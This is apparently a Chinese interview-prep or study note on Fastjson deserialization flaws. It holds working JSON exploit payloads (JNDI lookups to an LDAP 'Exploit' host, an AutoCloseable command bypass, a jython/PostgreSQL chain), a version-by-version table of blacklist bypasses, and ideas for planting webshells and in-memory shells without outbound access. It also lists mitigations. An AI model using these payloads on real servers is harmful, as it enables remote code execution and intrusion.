1 2 3 4 5 6 7 8 9 10 11 12 13 14 {"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" y":"ldap://localhost:1389/Exploit"} {"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig" gistry":"ldap://localhost:1389/Exploit"} {"@type":"com.caucho.config.types.ResourceRef" , "lookupName": "ldap://localhost:1389/Exploit" , "value": {"$ref":"$.value"}} , "metricRegistr , "healthCheckRe
无需开启AutoType,直接成功绕过CheckAutoType()的检测从而触发执行
1 2 3 4 5 {"@type":"java.lang.AutoCloseable" , "@type":"vul.VulAutoCloseable" , "cmd":"calc"}
1.2.72<fastjson<=1.2.80 jython+pgsql
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 {"a": {"@type":"java.lang.Exception" , "@type":"org.python.antlr.ParseException" ,}, "b": {"@type":"java.lang.Class" , "val":{"@type":"java.lang.String" {"@type":"java.util.Locale" , "val":{"@type":"com.alibaba.fastjson.JSONObject" , {"@type":"java.lang.String""@type":"org.python.antlr.ParseException" , "type": {}}}}, "c": {"@type":"org.python.core.PyObject" , "@type":"com.ziclix.python.sql.PyConnection" , "connection":{"@type":"org.postgresql.jdbc.PgConnection" , "hostSpecs": [{"host":"127.0.0.1" , "port":2333}], "user":"user" , "database":"test" , "info": {"socketFactory":"org.springframework.context.support.ClassPathXmlApplicationCont ext" , "socketFactoryArg":"http://127.0.0.1"}, "url":""}}}
简单小结(且部分回答了这个前面的面试题) 利用包头的via执行
漏洞实在是太多了,看不过来了
1.2.24之下无限制,随便玩
1.2.25到1.2.41新增黑白名单,使用 L开头 ;结尾进行绕过
1.2.42双写 L开头 ;结尾进行绕过
1.2.43使用 [进行绕过
1.2.47及以下使用MiscCodec类刷新缓存绕过
1.2.48cache为false,不给存入缓存
1.2.48到1.2.80利用expectClass绕过
-1.2.48到1.2.68使用AutoCloseable进行绕过
-1.2.69到1.2.80使用ThrowableDeserializer进行绕过
回答面试 不同版本打法
1 2 3 4 5 6 7 8 9 10 Fastjson 反序列化核心都是`@type`自动类型加载,核心防护点是`checkAutoType`黑名单 / 白名单、autoType 开关、safeMode,分 4 个阶段: 1. **1.2.22 及更早**:无 autoType 黑名单,直接写`@type`加载任意类,代表链:`TemplatesImpl`,无任何绕过。 2. **1.2.23 ~ 1.2.41**:前缀字符串黑名单(`startsWith`匹配),单层`Lxxx;`绕过。原理:校验时不会去掉`L;`,带 L 的字符串匹配不到黑名单前缀;加载类的时候自动剥离`L;`。 3. **1.2.42 ~ 1.2.47**:改成 Hash 黑名单,单层 L; 失效,出现`LLxxx;;`双层绕过。原理:黑名单校验只剥一层`L;`,hash 不命中;`TypeUtils.loadClass`循环剥离全部`L;`拿到原始类。代表链:`JdbcRowSetImpl` JNDI 链(rmi)。 4. **1.2.48 ~ 1.2.68**:修复 LL;;,新增`expectClass`绕过(1.2.68 AutoCloseable/Throwable 绕过)。原理:当上层传入`expectClass`,只要目标类是它的子类 / 实现类,直接跳过黑名单校验,不需要开 autoTypeSupport。 5. **1.2.69+**:修复 expectClass 绕过,新增 SafeMode,开启 SafeMode 后直接禁用 autoType,几乎没有可用原生绕过。 > > 一句话收尾:所有绕过本质,都是利用 **checkAutoType 校验逻辑 和 类加载逻辑不一致**
不出网思路
1 2 3 4 5 6 7 8 JNDI/RMI 都是出网请求,不出网就不能依赖远程 Reference 加载,思路分这几个: 1. **本地 Gadget 链,本地写文件**:依赖`commons-io`,`FileOutputStream/FileWriter`,直接写入 webshell、ssh 密钥、计划任务文件。 2. **本地 Bean 工厂 / EL 表达式、本地 JNDI**:比如 Tomcat 的 BeanFactory、本地 LDAP 上下文,在 JVM 内部找可以执行表达式、调用方法的类,不需要向外发请求。 3. **本地命令执行 Gadget**:依赖`groovy`、`bsh`等脚本引擎 gadget,直接传入命令字符串在本地解析执行,不对外发起网络请求。 4. **内存马注入**:拿到能调用反射的 gadget,直接反射获取 ServletContext,注入 filter/listener 内存马,不落地文件、不向外请求。 补充加分:不出网优先找**不需要远程 lookup、仅在当前 JVM 内部完成调用**的 gadget,不再走 JdbcRowSetImpl 这种 JNDI 链
TemplatesImpl链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 1. **适用版本**:1.2.22 直接打;1.2.23 之后默认黑名单拦截,需要手动开启`autoTypeSupport=true`才能用。 2. **原理** `TemplatesImpl`是 Xalan 里的类,属性`_bytecodes`接收字节数组。 Fastjson 反序列化赋值`_bytecodes`、`_tfactory`等属性;当调用`newTransformer()`的时候,会把`_bytecodes`里面的字节码 define 到 JVM,创建类实例,触发静态代码块执行 RCE。 > > 重点:**不是 lookup,是 defineClass 加载自定义字节码**,这条链本身就是不出网链! JSON.parseObject → checkAutoType(放行)→ new TemplatesImpl → set _bytecodes / _tfactory → 反序列化结束后自动调用getOutputProperties() → getOutputProperties() -> newTransformer() → TransformerFactoryImpl.getTemplates -> defineClass 加载字节码 → 静态代码块执行
然后其实,应该是
1.2.69 ~ 1.2.80 还有一个打法
1 2 3 版本 调用 checkAutoType expectClass 参数 条件 1.2.68 checkAutoType(className, Throwable.class) 不为 null;利用 expectClass 分支跳过黑名单 JDK 原生类就可以打,不需要第三方 jar 1.2.69‑1.2.80 CVE‑2022‑25845 checkAutoType(className, null) expectClass=null;不走 expectClass 放行分支,走普通黑名单判断 不能用 JDK 原生类;必须 classpath 存在第三方继承 Throwable 的类,且不在黑名单
CVE‑2026‑16723 1 2 3 4 5 6 > 只影响 fastjson1.x(1.2.68‑1.2.83),需要 Spring‑Boot 可执行 fat‑jar 环境,未开启 SafeMode。 1. 属于**gadget‑free 无第三方依赖利用**,不需要依赖 shiro、tomcat 等第三方 gadget 类。 2. 利用`@JSONType`注解解析逻辑,结合 Spring‑Boot `LaunchedURLClassLoader`嵌套 jar 加载机制。 3. 攻击者构造恶意 JSON,让 fastjson 读取 jar 包内的恶意 class 资源,完成类加载执行 RCE。 4. 防护:开启 SafeMode;迁移 fastjson2;使用 noneautotype 版本
fastjson2 不受这个漏洞影响 ,因为架构层面去掉了这套逻辑